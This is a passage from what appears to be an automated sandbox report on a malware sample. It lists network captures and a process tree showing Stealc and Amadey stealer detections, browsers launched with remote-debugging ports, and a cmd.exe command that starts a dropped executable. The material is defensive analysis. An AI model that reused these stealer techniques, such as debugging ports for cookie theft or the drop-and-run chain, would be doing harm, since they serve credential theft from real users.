2024-11-19 19:05:43 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190543Z-1777c6cb7542p5p4hC1TEBq09800000008m00000000015hb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:43 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	52459	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190543Z-185f5d8b95c4bhwphC1NYCs8gw00000009c0000000001u1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	52455	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190543Z-r1d97b99577hc74hhC1TEBvbns00000007qg000000004pvz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:43 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	52457	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:43 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190543Z-r1d97b99577ndm4rhC1TEBf0ps00000007sg00000000rd63 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	52458	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190543Z-185f5d8b95cgrrn8hC1NYCgwh4000000091g000000008an5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:43 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	52463	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 19:05:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 19:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5279302e32de92-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 19:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ba 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	52462	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 19:05:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 19:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5279302b8f4414-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 19:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	52461	162.159.61.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-19 19:05:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-19 19:05:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 19 Nov 2024 19:05:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e5279302caf41ba-EWR alt-svc: h3=":443"; ma=86400
2024-11-19 19:05:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e3 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Target ID:	1
Start time:	14:05:18
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x70000
File size:	1'802'752 bytes
MD5 hash:	38A9ECC0994ECBDDB16D6FB2D4A3E911
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1757866437.0000000000D3D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1753987889.0000000000071000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1334436859.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:05:26
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:05:26
Start date:	19/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2256,i,2409446916878352376,5119275927657611550,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:05:36
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:05:36
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2076,i,9206009865590399757,3186735307075706483,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:05:36
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:05:37
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:05:42
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7000 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:05:42
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:05:57
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDBFBFBGDBK.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:05:57
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:05:57
Start date:	19/11/2024
Path:	C:\Users\user\DocumentsDBFBFBGDBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDBFBFBGDBK.exe"
Imagebase:	0xff0000
File size:	1'925'632 bytes
MD5 hash:	3C271702F5EEBC60E590F6803D8D2238
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1773948251.0000000000FF1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.1732677784.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:06:00
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa20000
File size:	1'925'632 bytes
MD5 hash:	3C271702F5EEBC60E590F6803D8D2238
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.1773393810.0000000004990000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.1818261035.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:06:36
Start date:	19/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	14:07:00
Start date:	19/11/2024
